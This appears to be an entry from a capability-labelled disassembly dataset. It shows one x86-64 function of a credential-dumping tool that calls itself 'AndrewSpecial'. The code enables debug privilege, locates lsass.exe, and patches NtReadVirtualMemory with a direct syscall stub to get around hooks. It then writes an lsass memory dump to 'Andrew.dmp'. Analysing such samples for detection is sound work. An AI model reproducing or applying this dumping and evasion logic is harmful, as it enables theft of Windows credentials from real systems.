Function at 0x140001070
Capabilities:
Acquire debug privileges
Create process memory minidump
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x2e0]
sub rsp, 0x3e0
mov rax, qword [0x140005010]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
xor r12d, r12d
mov qword [rsp + 0x40], r12
mov qword [rbp + 0x2c0], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x40]
lea edx, [r12 + 0x20]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001125
lea r8, [rbp + 0x2c0]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x40]
test eax, eax
je 0x14000112a
mov rax, qword [rbp + 0x2c0]
lea r8, [rsp + 0x48]
mov qword [rsp + 0x28], r12
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x48], 1
mov dword [rsp + 0x54], 2
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001135
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov dword [rbp + 0x80], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp + 0x80]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
lea r15, str.lsass.exe
test eax, eax
je 0x1400011be
nop dword [rax + rax]
lea rdx, [rbp + 0xac]
mov rax, r12
nop word [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [r15 + rax*2]
jne 0x1400011aa
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r15 + rax*2 + 2]
jne 0x1400011aa
add rax, 2
cmp rax, 0xa
jne 0x140001180
mov edi, dword [rbp + 0x88]
jmp 0x1400011d0
lea rdx, [rbp + 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001170
cmp rbx, 0xffffffffffffffff
je 0x1400011cd
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, r12d
mov r8d, edi
mov qword [rsp + 0x400], rsi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
je 0x140001452
mov r8, qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
lea rcx, str.RPM:__p______ntRVM:__p_n
mov rdx, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call fcn.140001010
mov rcx, qword gs:[0x58]
mov bl, 0x3c
mov eax, 4
mov rdx, qword [rcx]
mov ecx, dword [rax + rdx]
cmp dword [0x140005698], ecx
jle 0x140001271
lea rcx, [0x140005698]
call fcn.140001638
cmp dword [0x140005698], 0xffffffff
jne 0x140001271
lea rcx, str.NTDLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlGetVersion
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140005698]
mov qword [0x1400056a0], rax
call fcn.1400015d8
xor edx, edx
mov dword [rbp + 0x80], 0x11c
mov r8d, 0x118
lea rcx, [rbp + 0x84]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x60]
mov eax, 2
lea rdx, [rbp + 0x80]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x1400012a0
mov rax, qword [rdx + 0x10]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
mov eax, dword [rdx + 0x18]
mov dword [rcx + 0x18], eax
lea rcx, [rsp + 0x60]
call qword [0x1400056a0]
mov ecx, dword [rsp + 0x64]
movzx eax, word [rbp + 0x74]
shl ecx, 8
or ecx, dword [rsp + 0x68]
shl ecx, 8
or ecx, eax
cmp ecx, 0x60200
jb 0x14000134b
jne 0x140001334
mov bl, 0x3d
jmp 0x14000134b
cmp ecx, 0x60300
jne 0x140001340
mov bl, 0x3e
jmp 0x14000134b
movzx ebx, bl
mov eax, 0x3f
cmova ebx, eax
movzx edx, bl
lea rcx, str.ntReadVirtualMemory_Syscall_is__x_n
call fcn.140001010
mov dword [rbp + 0x2c0], 0xb8d18b4c
mov dword [rbp + 0x2c5], 0xf000000
mov word [rbp + 0x2c9], 0xc305
mov byte [rbp + 0x2c4], bl
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
lea r8, [rbp + 0x2c0]
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0xb
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r12
lea rcx, str.Andrew.dmp
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
test rax, rax
jne 0x1400013e8
lea rcx, str.Failed_to_write_dump:_Invalid_dump_file_n
call fcn.140001010
jmp 0x140001461
mov r8, r14
lea rcx, str.Got__S_handle:__x_n
mov rdx, r15
call fcn.140001010
mov qword [rsp + 0x30], r12
mov r9d, 2
mov qword [rsp + 0x28], r12
mov r8, rsi
mov edx, edi
mov qword [rsp + 0x20], r12
mov rcx, r14
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140001442
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error:_MiniDumpWriteDump_failed_with_code__x_n
call fcn.140001010
jmp 0x140001461
lea rcx, str.Successfully_launched_the_AndrewSpecial._Looks_for_Andrew.dmp_n
call fcn.140001010
xor al, al
jmp 0x140001463
mov rdx, r15
lea rcx, str.Couldnt_open_a_handle_to__S_n
call fcn.140001010
mov al, 1
mov rsi, qword [rsp + 0x400]
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.1400014c0
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret